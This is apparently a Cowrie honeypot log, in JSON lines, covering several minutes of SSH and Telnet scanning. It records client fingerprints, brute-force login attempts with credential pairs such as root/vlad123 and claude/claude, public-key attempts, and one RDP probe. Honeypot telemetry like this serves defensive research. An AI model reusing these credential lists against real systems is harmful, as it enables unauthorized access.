{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:30:43.585115Z","src_ip":"77.94.47.83","session":"699c50469533","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlad123","message":"login attempt [root/vlad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:30:44.340814Z","src_ip":"77.94.47.83","session":"699c50469533","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:30:45.513366Z","src_ip":"77.94.47.83","session":"699c50469533","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.225.252.182","src_port":63956,"dst_ip":"10.17.0.5","dst_port":22,"session":"f708cbc6c34a","protocol":"ssh","message":"New connection: 80.225.252.182:63956 (10.17.0.5:22) [session: f708cbc6c34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:31:33.713992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:31:33.718250Z","src_ip":"80.225.252.182","session":"f708cbc6c34a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:31:33.918175Z","src_ip":"80.225.252.182","session":"f708cbc6c34a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:31:34.818302Z","src_ip":"80.225.252.182","session":"f708cbc6c34a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:31:36.016756Z","src_ip":"80.225.252.182","session":"f708cbc6c34a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49626,"dst_ip":"10.17.0.5","dst_port":23,"session":"cef6c43c928a","protocol":"telnet","message":"New connection: 192.119.13.58:49626 (10.17.0.5:23) [session: cef6c43c928a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:31:56.911008Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":34916,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2d065f83fbd","protocol":"ssh","message":"New connection: 103.82.132.16:34916 (159.203.135.109:22) [session: f2d065f83fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:24.345165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:24.350849Z","src_ip":"103.82.132.16","session":"f2d065f83fbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:24.609633Z","src_ip":"103.82.132.16","session":"f2d065f83fbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":44142,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1b61fc27a38","protocol":"ssh","message":"New connection: 103.27.238.116:44142 (159.203.135.109:22) [session: f1b61fc27a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:25.249427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:25.254172Z","src_ip":"103.27.238.116","session":"f1b61fc27a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111111","message":"login attempt [root/11111111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:25.384830Z","src_ip":"103.82.132.16","session":"f2d065f83fbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:25.512288Z","src_ip":"103.27.238.116","session":"f1b61fc27a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sirius","message":"login attempt [root/sirius] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:26.285532Z","src_ip":"103.27.238.116","session":"f1b61fc27a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:26.645046Z","src_ip":"103.82.132.16","session":"f2d065f83fbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:27.545163Z","src_ip":"103.27.238.116","session":"f1b61fc27a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":53224,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fbedea9249c","protocol":"ssh","message":"New connection: 80.94.92.184:53224 (159.203.135.109:22) [session: 6fbedea9249c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:27.806330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:28.023682Z","src_ip":"80.94.92.184","session":"6fbedea9249c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:28.027265Z","src_ip":"80.94.92.184","session":"6fbedea9249c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.2568793296814,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:29.167745Z","src_ip":"192.119.13.58","session":"cef6c43c928a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567890","message":"login attempt [solv/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:30.092621Z","src_ip":"80.94.92.184","session":"6fbedea9249c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:31.321218Z","src_ip":"80.94.92.184","session":"6fbedea9249c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":49490,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e3ddba76465","protocol":"ssh","message":"New connection: 103.183.114.55:49490 (10.17.0.5:22) [session: 7e3ddba76465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:33.503889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:33.508982Z","src_ip":"103.183.114.55","session":"7e3ddba76465","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":58978,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cc9aed6f956","protocol":"ssh","message":"New connection: 152.42.212.128:58978 (159.203.135.109:22) [session: 4cc9aed6f956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:33.635561Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:33.640270Z","src_ip":"152.42.212.128","session":"4cc9aed6f956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:33.643525Z","src_ip":"152.42.212.128","session":"4cc9aed6f956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:33.735894Z","src_ip":"103.183.114.55","session":"7e3ddba76465","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zalupa","message":"login attempt [root/zalupa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:34.416293Z","src_ip":"103.183.114.55","session":"7e3ddba76465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:32:35.645938Z","src_ip":"103.183.114.55","session":"7e3ddba76465","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.73.210.62","src_port":56870,"dst_ip":"10.17.0.5","dst_port":22,"session":"413a3eff52e3","protocol":"ssh","message":"New connection: 178.73.210.62:56870 (10.17.0.5:22) [session: 413a3eff52e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:28.215265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:28.219607Z","src_ip":"178.73.210.62","session":"413a3eff52e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:28.342264Z","src_ip":"178.73.210.62","session":"413a3eff52e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:bb:fd:f2:f9:b0:8f:d2:4d:66:71:d4:f9:99:fa:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4oY0vEYnlOvVxd/Vcwz/suPrig9lfh5AgPO8tGQkzBZb1Dq6K4I7Ar/xbROwICNtsyX7t5sDHwvoJ0gphzEpJODOTm4s3Xe9H5lwsFmUoDy72F77xiR2G0czoPPlxLtYqu+XUfs42In0h/gtQSA5vcL5ooH7VwrQU/N6PoYRZlINO6EGLbmA0NC00F7ubNHL7UFSSbwWR1fPK06BHxNEFER5KK70oJqDbeENbJVvFfQGk/QWAdU/Xozo4cOCnG+LWNXUS3JXujTwGDrVdRJNlXoUsXNDHa2QSpVN6OoOlLTbUUadeG6RGPytF5XzAxTMyeyVemRiNWOBNOzCR7TjyQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:bb:fd:f2:f9:b0:8f:d2:4d:66:71:d4:f9:99:fa:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:28.825122Z","src_ip":"178.73.210.62","session":"413a3eff52e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:bb:fd:f2:f9:b0:8f:d2:4d:66:71:d4:f9:99:fa:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4oY0vEYnlOvVxd/Vcwz/suPrig9lfh5AgPO8tGQkzBZb1Dq6K4I7Ar/xbROwICNtsyX7t5sDHwvoJ0gphzEpJODOTm4s3Xe9H5lwsFmUoDy72F77xiR2G0czoPPlxLtYqu+XUfs42In0h/gtQSA5vcL5ooH7VwrQU/N6PoYRZlINO6EGLbmA0NC00F7ubNHL7UFSSbwWR1fPK06BHxNEFER5KK70oJqDbeENbJVvFfQGk/QWAdU/Xozo4cOCnG+LWNXUS3JXujTwGDrVdRJNlXoUsXNDHa2QSpVN6OoOlLTbUUadeG6RGPytF5XzAxTMyeyVemRiNWOBNOzCR7TjyQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:28.829131Z","src_ip":"178.73.210.62","session":"413a3eff52e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:b4:8d:e8:1c:ca:e1:c0:74:bf:0b:ee:b8:20:3c:af","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKLC1Yj0KSFIDBxOf4kF6L/5g0kv42YsDeSqOvJOt+XJXmTEvReFEXRvM/BST0NA4OgZLz8N7fNb0yf3mf/MEvWyEEtK5SBnaMqLYZtBh1gYgz6vlmK90jqWx94rpaToGsbdzohrcmnbqz0SAlOPWnxXcbDCdiCYNX8Z9foTfwXtAAAAFQC0U+Wsm0bF8D5+buR8HfH+h3aa9wAAAIAPcdiYf+xeXF36r04TVF5kFjjVq4dcIVe1ILdPVrLJlhfPjogh1LloCkG7xYD+tC6AuqV4WFUt/JbwzJZfJi58UeTg3moCSaGTbwGiGF6jE3R6lEs70ToS/OFen9f6L3o/0pP+fs19E8WktenqH+iucewtUJdt9wEH07u/BFrUYgAAAIACKy/bSk9BWYBuaE4t19Ep/oE3mBJmnQ/ESbLJ90JZuigf64vEMKxf9snacZeQ/0lnMKwpfvJg/FqN+KvJZbElU4xU3UG8QilivVrVT52yllQxlHCqMDKbI1OF7ScgxYnWUlf3wixc1VMz4GOi9lZ6iFjgv3xrVM1rOwCg9tgrvQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 62:b4:8d:e8:1c:ca:e1:c0:74:bf:0b:ee:b8:20:3c:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:33:28.935050Z","src_ip":"178.73.210.62","session":"413a3eff52e3","protocol":"ssh"}
